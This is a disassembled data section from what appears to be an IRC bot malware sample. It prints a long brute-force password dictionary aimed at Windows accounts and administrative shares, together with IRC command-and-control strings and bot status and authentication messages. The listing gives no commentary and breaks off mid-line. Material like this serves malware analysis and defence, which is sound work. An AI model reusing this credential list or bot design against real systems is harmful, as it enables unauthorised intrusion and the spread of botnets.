'charles',0 aCharity db 'charity',0 aChange db 'change',0 align 10h aCerulean db 'cerulean',0 align 4 aCeltics db 'celtics',0 aCeltic db 'celtic',0 align 4 aCelt db 'celt',0 align 4 aCecily db 'cecily',0 align 4 aCayuga db 'cayuga',0 align 4 aCave db 'cave',0 align 4 aCathy db 'cathy',0 align 4 aCatholic db 'catholic',0 align 10h aCatherin db 'catherin',0 align 4 aCastle db 'castle',0 align 4 aCash db 'cash',0 align 4 aCascades db 'cascades',0 align 4 aCarson db 'carson',0 align 10h aCarrie db 'carrie',0 align 4 aCaroline db 'caroline',0 align 4 aCarolina db 'carolina',0 align 10h aCarole db 'carole',0 align 4 aCarol db 'carol',0 align 10h aCarmen db 'carmen',0 align 4 aCarla db 'carla',0 align 10h aCaren db 'caren',0 align 4 aCardinal db 'cardinal',0 align 4 aCard db 'card',0 align 4 aCapture db 'capture',0 aCaptain db 'captain',0 aCantor db 'cantor',0 align 4 aCandy db 'candy',0 align 4 aCandi db 'candi',0 align 4 aCamping db 'camping',0 aCampanil db 'campanil',0 align 4 aCamille db 'camille',0 aCaliforn db 'californ',0 align 4 aButthead db 'butthead',0 align 4 aButt db 'butt',0 align 10h aButch db 'butch',0 align 4 aBurn db 'burn',0 align 10h aBurgess db 'burgess',0 aBung db 'bung',0 align 10h aBumbling db 'bumbling',0 align 4 aBullshit db 'bullshit',0 align 4 aBulls db 'bulls',0 align 10h aBrutefor db 'brutefor',0 align 4 aBrute db 'brute',0 align 4 aBrunette db 'brunette',0 align 10h aBrothel db 'brothel',0 aBroadway db 'broadway',0 align 4 aBridget db 'bridget',0 aBrian db 'brian',0 align 4 aBrenda db 'brenda',0 align 4 aBreast db 'breast',0 align 4 aBreak db 'break',0 align 4 aBravo db 'bravo',0 align 4 aBrandy db 'brandy',0 align 4 aBrandi db 'brandi',0 align 4 aBradley db 'bradley',0 aBoyscout db 'boyscout',0 align 4 aBorn db 'born',0 align 10h aBook db 'book',0 align 4 aBoobs db 'boobs',0 align 10h aBoob db 'boob',0 align 4 aBoner db 'boner',0 align 10h aBomb db 'bomb',0 align 4 aBoard db 'board',0 align 10h aBlues db 'blues',0 align 4 aBlue db 'blue',0 align 10h aBlowjob db 'blowjob',0 aBlow db 'blow',0 align 10h aBloodaxe db 'bloodaxe',0 align 4 aBlood db 'blood',0 align 4 aBlondie db 'blondie',0 aBlonde db 'blonde',0 align 4 aBlack db 'black',0 align 4 aBitnet db 'bitnet',0 align 4 aBitmap db 'bitmap',0 align 4 aBitch db 'bitch',0 align 4 aBishop db 'bishop',0 align 4 aBird db 'bird',0 align 4 aBios db 'bios',0 align 4 aBinary db 'binary',0 align 4 aBill db 'bill',0 align 4 aBigfoot db 'bigfoot',0 aBicamera db 'bicamera',0 align 10h aBible db 'bible',0 align 4 aBeverly db 'beverly',0 aBetty db 'betty',0 align 4 aBetsie db 'betsie',0 align 10h aBeth db 'beth',0 align 4 aBeta db 'beta',0 align 10h aBeryl db 'beryl',0 align 4 aBerliner db 'berliner',0 align 4 aBerlin db 'berlin',0 align 4 aBerkeley db 'berkeley',0 align 4 aBeowulf db 'beowulf',0 aBenz db 'benz',0 align 4 aBeloved db 'beloved',0 aBell db 'bell',0 align 4 aBehead db 'behead',0 align 10h aBegin db 'begin',0 align 4 aBeethove db 'beethove',0 align 4 aBecky db 'becky',0 align 4 aBeaver db 'beaver',0 align 4 aBeauty db 'beauty',0 align 4 aBeater db 'beater',0 align 4 aBeast db 'beast',0 align 4 aBear db 'bear',0 align 4 aBeammeup db 'beammeup',0 align 10h aBeach db 'beach',0 align 4 aBatman db 'batman',0 align 10h aBatch db 'batch',0 align 4 aBassoon db 'bassoon',0 aBass db 'bass',0 align 4 aBasic db 'basic',0 align 10h aBaseball db 'baseball',0 align 4 aBartman db 'bartman',0 aBart db 'bart',0 align 4 aBaritone db 'baritone',0 align 4 aBarf db 'barf',0 align 10h aBare db 'bare',0 align 4 aBarber db 'barber',0 align 10h aBarbara db 'barbara',0 aBanks db 'banks',0 align 10h aBank db 'bank',0 align 4 aBandit db 'bandit',0 align 10h aBananas db 'bananas',0 aBanana db 'banana',0 align 10h aBall db 'ball',0 ; DATA XREF: .nsp0:004260FCo align 4 aBailey db 'bailey',0 ; DATA XREF: .nsp0:004260F8o align 10h aBadass db 'badass',0 ; DATA XREF: .nsp0:004260F4o align 4 aBackdoor db 'backdoor',0 align 4 aBacchus db 'bacchus',0 aBaby db 'baby',0 align 4 aBabe db 'babe',0 align 4 aAzure db 'azure',0 align 4 aAztecs db 'aztecs',0 align 4 aAuthoriz db 'authoriz',0 align 4 aAttack db 'attack',0 align 10h aAtom db 'atom',0 align 4 aAtmosphe db 'atmosphe',0 align 4 aAthena db 'athena',0 align 4 aAsshole db 'asshole',0 aAsian db 'asian',0 align 4 aArtist db 'artist',0 align 4 aArthur db 'arthur',0 align 4 aArrow db 'arrow',0 align 4 aArmy db 'army',0 align 4 aArlene db 'arlene',0 align 4 aAriadne db 'ariadne',0 aAria db 'aria',0 align 4 aApril db 'april',0 align 4 aApollo13 db 'apollo13',0 align 4 aAnything db 'anything',0 align 4 aAnvils db 'anvils',0 align 4 aAnthropo db 'anthropo',0 align 4 aAnthrax db 'anthrax',0 aAnswer db 'answer',0 align 4 aAnonymou db 'anonymou',0 align 4 aAnon db 'anon',0 align 4 aAnnette db 'annette',0 aAnne db 'anne',0 align 4 aAnna db 'anna',0 align 4 aAnita db 'anita',0 align 4 aAnimals db 'animals',0 aAnimal db 'animal',0 align 4 aAngie db 'angie',0 align 4 aAngerine db 'angerine',0 align 10h aAngela db 'angela',0 align 4 aAnfo db 'anfo',0 align 10h aAndy db 'andy',0 align 4 aAndromac db 'andromac',0 align 4 aAndroid db 'android',0 aAndrea db 'andrea',0 align 4 aAnchor db 'anchor',0 align 4 aAnarchy db 'anarchy',0 aAnarchis db 'anarchis',0 align 10h aAnalog db 'analog',0 align 4 aAnal db 'anal',0 align 10h aAmorphou db 'amorphou',0 align 4 aAmerica db 'america',0 aAmber db 'amber',0 align 4 aAmanda db 'amanda',0 align 4 aAmadeus db 'amadeus',0 ; DATA XREF: .nsp0:00426020o aAlphabet db 'alphabet',0 ; DATA XREF: .nsp0:0042601Co align 4 aAllow db 'allow',0 ; DATA XREF: .nsp0:00426018o align 10h aAllison db 'allison',0 ; DATA XREF: .nsp0:00426014o aAlison db 'alison',0 ; DATA XREF: .nsp0:00426010o align 10h aAlisa db 'alisa',0 ; DATA XREF: .nsp0:0042600Co align 4 aAlicia db 'alicia',0 ; DATA XREF: .nsp0:00426008o align 10h aAlice db 'alice',0 ; DATA XREF: .nsp0:00426004o align 4 aAliases db 'aliases',0 ; DATA XREF: .nsp0:00426000o aAlias db 'alias',0 ; DATA XREF: .nsp0:00425FFCo align 4 aAlgebra db 'algebra',0 ; DATA XREF: .nsp0:00425FF8o aAlexande db 'alexande',0 ; DATA XREF: .nsp0:00425FF4o align 4 aAlex db 'alex',0 ; DATA XREF: .nsp0:00425FF0o align 4 aAlert db 'alert',0 ; DATA XREF: .nsp0:00425FECo align 4 aAlbert db 'albert',0 ; DATA XREF: .nsp0:00425FE8o align 4 aAlbatros db 'albatros',0 ; DATA XREF: .nsp0:00425FE4o align 10h aAlbany db 'albany',0 ; DATA XREF: .nsp0:00425FE0o align 4 aAlaska db 'alaska',0 ; DATA XREF: .nsp0:00425FDCo align 10h aAirplane db 'airplane',0 ; DATA XREF: .nsp0:00425FD8o align 4 aAids db 'aids',0 ; DATA XREF: .nsp0:00425FD4o align 4 aAerobics db 'aerobics',0 ; DATA XREF: .nsp0:00425FD0o align 10h aAdult db 'adult',0 ; DATA XREF: .nsp0:00425FCCo align 4 aAdrianna db 'adrianna',0 ; DATA XREF: .nsp0:00425FC8o align 4 aAdrian db 'adrian',0 ; DATA XREF: .nsp0:00425FC4o align 4 aAdam db 'adam',0 ; DATA XREF: .nsp0:00425FC0o align 4 aAction db 'action',0 ; DATA XREF: .nsp0:00425FBCo align 4 aAccount db 'account',0 ; DATA XREF: .nsp0:00425FB8o aAcademic db 'academic',0 ; DATA XREF: .nsp0:00425FB0o align 10h aAcademia db 'academia',0 ; DATA XREF: .nsp0:00425FACo align 4 a000000 db '000000',0 ; DATA XREF: .nsp0:00425FA8o ; .nsp0:004279C0o align 4 a00000 db '00000',0 ; DATA XREF: .nsp0:00425FA4o ; .nsp0:004279BCo align 4 a0000 db '0000',0 ; DATA XREF: .nsp0:00425FA0o ; .nsp0:004279B8o align 4 a000 db '000',0 ; DATA XREF: .nsp0:00425F9Co ; .nsp0:004279B4o aTesting db 'testing',0 ; DATA XREF: .nsp0:00425F98o aDeath db 'death',0 ; DATA XREF: .nsp0:00425F94o align 4 a00 db '00',0 ; DATA XREF: .nsp0:00425F90o ; .nsp0:004279B0o align 4 aXxxxxxxxx db 'xxxxxxxxx',0 ; DATA XREF: .nsp0:00425F88o align 4 aXxxxxxxx db 'xxxxxxxx',0 ; DATA XREF: .nsp0:00425F84o align 4 aXxxxxxx db 'xxxxxxx',0 ; DATA XREF: .nsp0:00425F80o aXxxxxx db 'xxxxxx',0 ; DATA XREF: .nsp0:00425F7Co align 4 aXxxxx db 'xxxxx',0 ; DATA XREF: .nsp0:00425F78o align 4 aXxxx db 'xxxx',0 ; DATA XREF: .nsp0:00425F74o align 4 aXxx db 'xxx',0 ; DATA XREF: .nsp0:00425F70o aXx db 'xx',0 ; DATA XREF: .nsp0:00425F6Co align 4 asc_42C63C: ; DATA XREF: .nsp0:00425F68o unicode 0, <x>,0 aGuessme db 'guessme',0 ; DATA XREF: .nsp0:00425F64o aYouwontguessme db 'youwontguessme',0 ; DATA XREF: .nsp0:00425F60o align 4 aUwontguessme db 'uwontguessme',0 ; DATA XREF: .nsp0:00425F5Co align 4 aMirc_0 db 'mirc',0 ; DATA XREF: .nsp0:00425F58o align 10h aKiddie db 'kiddie',0 ; DATA XREF: .nsp0:00425F54o align 4 aScriptkiddie db 'scriptkiddie',0 ; DATA XREF: .nsp0:00425F50o align 4 aScript db 'script',0 ; DATA XREF: .nsp0:00425F4Co align 10h aHax0r db 'hax0r',0 ; DATA XREF: .nsp0:00425F48o align 4 aHacker db 'hacker',0 ; DATA XREF: .nsp0:00425F44o align 10h aL337 db 'l337',0 ; DATA XREF: .nsp0:00425F40o align 4 aL33t db 'l33t',0 ; DATA XREF: .nsp0:00425F3Co align 10h aLeet db 'leet',0 ; DATA XREF: .nsp0:00425F38o align 4 aKiller db 'killer',0 ; DATA XREF: .nsp0:00425F34o align 10h a0wn3d db '0wn3d',0 ; DATA XREF: .nsp0:00425F30o ; .nsp0:00427A1Co align 4 aW00t db 'w00t',0 ; DATA XREF: .nsp0:00425F2Co align 10h aHeaven db 'heaven',0 ; DATA XREF: .nsp0:00425F28o align 4 aSpaceman db 'spaceman',0 ; DATA XREF: .nsp0:00425F24o align 4 aSatanic db 'satanic',0 ; DATA XREF: .nsp0:00425F20o aSatanik db 'satanik',0 ; DATA XREF: .nsp0:00425F1Co aSatan db 'satan',0 ; DATA XREF: .nsp0:00425F18o align 4 aGobo db 'gobo',0 ; DATA XREF: .nsp0:00425F14o align 4 aMatthew db 'Matthew',0 ; DATA XREF: .nsp0:00425F10o aMatt db 'Matt',0 ; DATA XREF: .nsp0:00425F0Co align 4 aMat db 'Mat',0 ; DATA XREF: .nsp0:00425F08o aPw db 'pw',0 ; DATA XREF: .nsp0:00425F04o align 4 aMypass123 db 'mypass123',0 ; DATA XREF: .nsp0:00425F00o align 4 aMypass db 'mypass',0 ; DATA XREF: .nsp0:00425EFCo align 10h aPw123 db 'pw123',0 ; DATA XREF: .nsp0:00425EF8o align 4 aAdmin123 db 'admin123',0 ; DATA XREF: .nsp0:00425EF4o align 4 aMypc123 db 'mypc123',0 ; DATA XREF: .nsp0:00425EF0o aMypc db 'mypc',0 ; DATA XREF: .nsp0:00425EECo align 4 aLove db 'love',0 ; DATA XREF: .nsp0:00425EE8o align 4 aPwd db 'pwd',0 ; DATA XREF: .nsp0:00425EE4o aLogin db 'login',0 ; DATA XREF: .nsp0:00425EE0o align 4 aHome db 'home',0 ; DATA XREF: .nsp0:00425EDCo align 10h aZxcv db 'zxcv',0 ; DATA XREF: .nsp0:00425ED8o align 4 aYxcv db 'yxcv',0 ; DATA XREF: .nsp0:00425ED4o align 10h aQwer db 'qwer',0 ; DATA XREF: .nsp0:00425ED0o align 4 aSecret db 'secret',0 ; DATA XREF: .nsp0:00425ECCo align 10h aAsdf db 'asdf',0 ; DATA XREF: .nsp0:00425EC8o align 4 aPc db 'pc',0 ; DATA XREF: .nsp0:00425EC4o align 4 aWin db 'win',0 ; DATA XREF: .nsp0:00425EC0o aTest123 db 'test123',0 ; DATA XREF: .nsp0:00425EBCo aAbc db 'abc',0 ; DATA XREF: .nsp0:00425EB8o aAaa db 'aaa',0 ; DATA XREF: .nsp0:00425EB4o aA_1: ; DATA XREF: .nsp0:00425EB0o unicode 0, <a>,0 aCrash db 'crash',0 ; DATA XREF: .nsp0:00425EACo align 4 aFucked db 'fucked',0 ; DATA XREF: .nsp0:00425EA8o align 4 aNetfuck db 'netfuck',0 ; DATA XREF: .nsp0:00425EA4o aIrule db 'irule',0 ; DATA XREF: .nsp0:00425EA0o align 4 aOwned db 'owned',0 ; DATA XREF: .nsp0:00425E9Co align 4 a0wned db '0wned',0 ; DATA XREF: .nsp0:00425E98o ; .nsp0:00427A20o align 4 aNetDevil db 'net-devil',0 ; DATA XREF: .nsp0:00425E94o align 10h aNetdevil db 'netdevil',0 ; DATA XREF: .nsp0:00425E90o align 4 aDevil db 'devil',0 ; DATA XREF: .nsp0:00425E8Co align 4 aNilez db 'Nilez',0 ; DATA XREF: .nsp0:00425E88o align 4 aFoobar db 'foobar',0 ; DATA XREF: .nsp0:00425E84o align 4 aGod db 'god',0 ; DATA XREF: .nsp0:00425E80o aSex_0 db 'sex',0 ; DATA XREF: .nsp0:00425E7Co aPat db 'pat',0 ; DATA XREF: .nsp0:00425E78o aPatrick db 'patrick',0 ; DATA XREF: .nsp0:00425E74o aAlpha db 'alpha',0 ; DATA XREF: .nsp0:00425E70o align 10h a007 db '007',0 ; DATA XREF: .nsp0:00425E6Co ; .nsp0:00427A0Co a123abc db '123abc',0 ; DATA XREF: .nsp0:00425E68o ; .nsp0:00427C1Co align 4 a1234qwer db '1234qwer',0 ; DATA XREF: .nsp0:00425E64o ; .nsp0:00427C28o align 4 a123123 db '123123',0 ; DATA XREF: .nsp0:00425E60o ; .nsp0:00427BC8o align 10h a121212 db '121212',0 ; DATA XREF: .nsp0:00425E5Co ; .nsp0:00427BC0o align 4 a111111 db '111111',0 ; DATA XREF: .nsp0:00425E58o ; .nsp0:00427A38o align 10h a110 db '110',0 ; DATA XREF: .nsp0:00425E54o ; .nsp0:00427B8Co a2600 db '2600',0 ; DATA XREF: .nsp0:00425E50o align 4 a2002 db '2002',0 ; DATA XREF: .nsp0:00425E48o ; .nsp0:00427D00o align 4 aXp_0 db 'xp',0 ; DATA XREF: .nsp0:00425E44o align 4 aEnable db 'enable',0 ; DATA XREF: .nsp0:00425E40o align 10h aGodblessyou db 'godblessyou',0 ; DATA XREF: .nsp0:00425E3Co aIhavenopass db 'ihavenopass',0 ; DATA XREF: .nsp0:00425E38o a123asd db '123asd',0 ; DATA XREF: .nsp0:00425E34o ; .nsp0:00427C20o align 10h aSuper db 'super',0 ; DATA XREF: .nsp0:00425E30o align 4 aInternet db 'Internet',0 ; DATA XREF: .nsp0:00425E2Co align 4 a123qwe db '123qwe',0 ; DATA XREF: .nsp0:00427C24o align 4 aSybase db 'sybase',0 align 4 aAbc123 db 'abc123',0 ; DATA XREF: .nsp0:00425E18o align 4 aAbcd db 'abcd',0 ; DATA XREF: .nsp0:00425E14o align 4 aPasswd db 'passwd',0 align 4 aPass_0 db 'pass',0 align 4 a88888888 db '88888888',0 ; DATA XREF: .nsp0:00427B58o align 10h a11111111 db '11111111',0 ; DATA XREF: .nsp0:00427A40o align 4 a111 db '111',0 ; DATA XREF: .nsp0:00427A2Co a54321 db '54321',0 ; DATA XREF: .nsp0:00425DF8o align 4 a654321 db '654321',0 ; DATA XREF: .nsp0:00425DF4o align 10h a123456789 db '123456789',0 ; DATA XREF: .nsp0:00425DF0o ; .nsp0:00427BE0o align 4 a12345678 db '12345678',0 ; DATA XREF: .nsp0:00425DECo ; .nsp0:00427BDCo align 4 a1234567 db '1234567',0 ; DATA XREF: .nsp0:00425DE8o ; .nsp0:00427BD8o a123456 db '123456',0 ; DATA XREF: .nsp0:00425DE4o ; .nsp0:00427BD4o align 4 a12345 db '12345',0 ; DATA XREF: .nsp0:00425DE0o ; .nsp0:00427BD0o align 10h a1234 db '1234',0 ; DATA XREF: .nsp0:00425DDCo ; .nsp0:00427BCCo align 4 a123 db '123',0 ; DATA XREF: .nsp0:00425DD8o ; .nsp0:00427BC4o a12 db '12',0 ; DATA XREF: .nsp0:00425DD4o ; .nsp0:00427BB8o align 10h a1: ; DATA XREF: .nsp0:00425DD0o ; .nsp0:00427A24o unicode 0, <1>,0 aTemp123 db 'temp123',0 ; DATA XREF: .nsp0:00425DCCo aChangeme_0 db 'Changeme',0 ; DATA XREF: .nsp0:00425DC8o align 4 aChangeme db 'changeme',0 ; DATA XREF: .nsp0:00425DC4o align 4 aLinux db 'linux',0 ; DATA XREF: .nsp0:00425DC0o align 4 aUnix db 'unix',0 ; DATA XREF: .nsp0:00425DBCo align 4 aLocal db 'LOCAL',0 ; DATA XREF: .nsp0:00425DB8o align 4 aPepsi db 'pepsi',0 ; DATA XREF: .nsp0:00425DB4o align 4 aServer_0 db 'SERVER',0 ; DATA XREF: .nsp0:00425DB0o ; .nsp0:00428170o align 4 aSystem db 'SYSTEM',0 ; DATA XREF: .nsp0:00425DACo ; .nsp0:0042816Co align 4 aBackup db 'BACKUP',0 ; DATA XREF: .nsp0:00425DA8o ; .nsp0:00428168o align 4 aAccess db 'ACCESS',0 ; DATA XREF: .nsp0:00425DA0o ; .nsp0:00428160o align 4 aTest db 'TEST',0 ; DATA XREF: .nsp0:00425D9Co ; .nsp0:0042815Co align 4 aEdu db 'edu',0 ; DATA XREF: .nsp0:00425D98o ; .nsp0:00428158o aOwner_1 db 'Owner',0 ; DATA XREF: .nsp0:00425D94o ; .nsp0:00428154o align 4 aOwner_0 db 'OWNER',0 ; DATA XREF: .nsp0:00425D90o ; .nsp0:00428150o align 10h aDemo db 'DEMO',0 ; DATA XREF: .nsp0:00425D8Co ; .nsp0:0042814Co align 4 aFiles db 'FILES',0 ; DATA XREF: .nsp0:00425D88o ; .nsp0:00428148o align 10h aRead db 'READ',0 ; DATA XREF: .nsp0:00425D84o ; .nsp0:00428144o align 4 aBoth db 'BOTH',0 ; DATA XREF: .nsp0:00425D80o ; .nsp0:00428140o align 10h aLadeda db 'ladeda',0 ; DATA XREF: .nsp0:00425D7Co ; .nsp0:0042813Co align 4 aFull_0 db 'FULL',0 ; DATA XREF: .nsp0:00425D78o ; .nsp0:00428138o align 10h aWrite db 'WRITE',0 ; DATA XREF: .nsp0:00425D74o ; .nsp0:00428134o align 4 aShare_0 db 'SHARE',0 align 10h aTemp db 'TEMP',0 align 4 aPassword_0 db 'PASSWORD',0 align 4 aAdmin db 'ADMIN',0 align 4 aRoot db 'ROOT',0 align 4 aGuest_0 db 'GUEST',0 align 4 aBla db 'bla',0 aFubar db 'fubar',0 align 4 aAdministrato_0 db 'ADMINISTRATOR',0 align 4 aTsinternetuser db 'Tsinternetuser',0 align 4 aSqldebugger db 'SQLDebugger',0 aAdministrattor db 'Administrattor$',0 ; DATA XREF: .nsp0:00425D30o aAdmin_0 db '$admin',0 ; DATA XREF: .nsp0:00425D2Co align 4 aAdmin_1 db 'admin!',0 ; DATA XREF: .nsp0:00425D28o align 4 aAdmin2 db 'admin2',0 align 4 aAdmin1 db 'admin1',0 align 4 aAdmin_2 db 'admin$',0 align 4 aDb2 db 'db2',0 aOracle db 'oracle',0 ; DATA XREF: .nsp0:00425D14o align 4 aDba db 'dba',0 aDatabase db 'database',0 align 4 aDefault_0 db 'default',0 aGuest_1 db 'guest',0 align 4 aWwwadmin db 'wwwadmin',0 align 4 aTeacher db 'teacher',0 ; DATA XREF: .nsp0:00425CFCo aStudent db 'student',0 ; DATA XREF: .nsp0:00425CF8o aOwner db 'owner',0 ; DATA XREF: .nsp0:00425CF4o align 4 aComputer db 'computer',0 align 4 aRoot_0 db 'root',0 align 10h aStaff db 'staff',0 align 4 aAdmin_3 db 'admin',0 align 10h aAdmins db 'admins',0 align 4 aAdministrat db 'administrat',0 aAdministrateur db 'administrateur',0 align 4 aAdministrador db 'administrador',0 align 4 aAdministrato_1 db 'administrator',0 align 4 aAdministrator db 'Administrator',0 ; DATA XREF: sub_4102CC:loc_4103D7o ; .nsp0:00425CCCo align 4 aMirc1_6_99 db 'mirc 1.6.99',0 ; DATA XREF: .nsp0:off_425C20o a@room db '*@room',0 ; DATA XREF: .nsp0:off_425C1Co align 4 unk_42CB88 db 2 ; DATA XREF: .nsp0:00409EDDo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aFailedToStartR db ' Failed to start registry thread, error: <%d>.',0 align 4 unk_42CBD8 db 2 ; DATA XREF: .nsp0:00409E88o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aRegistryMonito db ' Registry monitor active.',0 align 4 dword_42CC14 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: .nsp0:00409E4Do dd 2029206Ch, 2BBBB02h, 6F422020h, 74732074h, 65747261h dd 2E64h dword_42CC40 dd 25207325h, 25222064h, 2273hdword_42CC4C dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40A059+F2o dd 2029206Ch, 2BBBB02h aConnectedToS_ db ' Connected to %s.',0 align 4 aNickSUserS00S db 'NICK %s',0Dh,0Ah ; DATA XREF: sub_40A1C1+62o db 'USER %s 0 0 :%s',0Dh,0Ah,0 align 4 aPassS db 'PASS %s',0Dh,0Ah,0 ; DATA XREF: sub_40A1C1+35o align 4 aModeSS db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: .nsp0:0040F97Do align 4 aUserhostS db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: .nsp0:0040F968o align 4 dword_42CCC4 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: .nsp0:0040F954o dd 2029206Ch, 2BBBB02h aUserSLoggedIn_ db ' User: %s logged in.',0 align 4 dword_42CCF8 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: .nsp0:0040F937o dd 2029206Ch, 2BBBB02h aPasswordAccept db ' Password accepted.',0 align 4 dword_42CD2C dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: .nsp0:0040F8C7o dd 2029206Ch, 2BBBB02h aFailedHostAuth db ' *Failed host auth by: (%s!%s).',0 align 4 dword_42CD6C dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: .nsp0:0040F869o dd 2029206Ch, 2BBBB02h aFailedPassAuth db ' *Failed pass auth by: (%s!%s).',0 align 4 aNoticeSYouVeBe db 'NOTICE %s :You',27h,'ve been logged.',0Dh,0Ah,0 ; DATA XREF: .nsp0:0040F85Ao ; .nsp0:0040F8B8o align 10h aNoticeSNiceTry db 'NOTICE %s :Nice try, idiot. (%s!%s).',0Dh,0Ah,0 ; DATA XREF: .nsp0:0040F846o ; .nsp0:0040F8A4o align 4 asc_42CDF8: ; DATA XREF: .nsp0:0040F816o unicode 0, <~>,0 dword_42CDFC dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: .nsp0:0040F7C5o dd 2029206Ch, 2BBBB02h aRandomNickChan db ' Random nick change: %s',0 align 4 dword_42CE34 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: .nsp0:0040F6EAo dd 2029206Ch, 2BBBB02h aInvalidLoginSl db ' Invalid login slot number: %d.',0 align 4 dword_42CE74 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: .nsp0:0040F6E2o dd 2029206Ch, 2BBBB02h aNoUserLoggedIn db ' No user logged in at slot: %d.',0 align 4 dword_42CEB4 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: .nsp0:0040F681o dd 2029206Ch, 2BBBB02h, 73252020h, 0 unk_42CED8 db 2 ; DATA XREF: .nsp0:0040F672o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aFailedToStar_4 db ' Failed to start secure thread, error: <%d>.',0 align 4 dword_42CF28 dd 28026502h, 62302E31h, 20282029h, 75636573h, 6D2E6572h ; DATA XREF: .nsp0:0040F5F8o dd 6C1F641Fh, 2202920h, 2002BBBBh, 20732520h, 74737973h dd 2E6D65h aUnsecuring db 'Unsecuring',0 ; DATA XREF: .nsp0:0040F5F2o align 10h aSecuring db 'Securing',0 ; DATA XREF: .nsp0:0040F5EBo align 4 aSec db 'sec',0 ; DATA XREF: .nsp0:0040F590o aSecure db 'secure',0 ; DATA XREF: .nsp0:0040F57Fo align 4 dword_42CF78 dd 69026602h, 6966646Eh, 1F651F6Ch, 2E2Ehdword_42CF88 dd 646E6946h, 6C696620h, 65hdword_42CF94 dd 72027002h, 1F631F6Fh, 2E2Ehdword_42CFA0 dd 636F7250h, 20737365h, 7473696Ch, 0dword_42CFB0 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: .nsp0:0040F510o dd 2029206Ch, 2BBBB02h, 65522020h, 6E6E6F63h, 69746365h dd 2E676Eh aQuitReconnecti db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: .nsp0:loc_40F503o align 4 dword_42CFF4 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: .nsp0:0040F4EEo dd 2029206Ch, 2BBBB02h, 69442020h, 6E6F6373h, 7463656Eh dd 2E676E69h, 0 aQuitDisconnect db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: .nsp0:loc_40F4E1o align 4 aQuitS db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: .nsp0:0040F4B9o align 4 dword_42D048 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: .nsp0:0040F46Do dd 2029206Ch, 2BBBB02h aStatusReady_Bo db ' Status: Ready. Bot Uptime: %s.',0 align 4 dword_42D088 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: .nsp0:0040F42Fo dd 2029206Ch, 2BBBB02h, 6F422020h, 44492074h, 7325203Ah dd 2Eh dword_42D0B4 dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h ; DATA XREF: .nsp0:0040F404o dd 1F641F6Dh, 2029206Ch, 2BBBB02h aFailedToStartL db ' Failed to start list thread, error: <%d>.',0 dword_42D100 dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h ; DATA XREF: .nsp0:0040F399o dd 1F641F6Dh, 2029206Ch, 2BBBB02h, 694C2020h, 74207473h dd 61657268h, 2E7364h dword_42D130 dd 627573h dword_42D134 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: .nsp0:0040F324o dd 2029206Ch, 2BBBB02h, 6C412020h, 20736169h, 7473696Ch dd 2Eh dword_42D160 dd 28026502h, 62302E31h, 20282029h, 2E676F6Ch, 1F641F6Dh ; DATA XREF: .nsp0:0040F309o dd 2029206Ch, 2BBBB02h aFailedToStar_5 db ' Failed to start listing thread, error: <%d>.',0 align 4 dword_42D1AC dd 28026502h, 62302E31h, 20282029h, 2E676F6Ch, 1F641F6Dh ; DATA XREF: .nsp0:0040F27Co dd 2029206Ch, 2BBBB02h, 694C2020h, 6E697473h, 6F6C2067h dd 2E67h dword_42D1D8 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: .nsp0:0040F1F8o dd 2029206Ch, 2BBBB02h, 654E2020h, 726F7774h, 6E49206Bh dd 2E6F66h dword_42D204 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: .nsp0:0040F1C9o dd 2029206Ch, 2BBBB02h, 79532020h, 6D657473h, 666E4920h dd 2E6Fh dword_42D230 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: .nsp0:0040F174o dd 2029206Ch, 2BBBB02h, 65522020h, 69766F6Dh, 4220676Eh dd 2E746Fh dword_42D25C dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h ; DATA XREF: .nsp0:0040F161o dd 1F641F6Dh, 2029206Ch, 2BBBB02h aFailedToStar_6 db 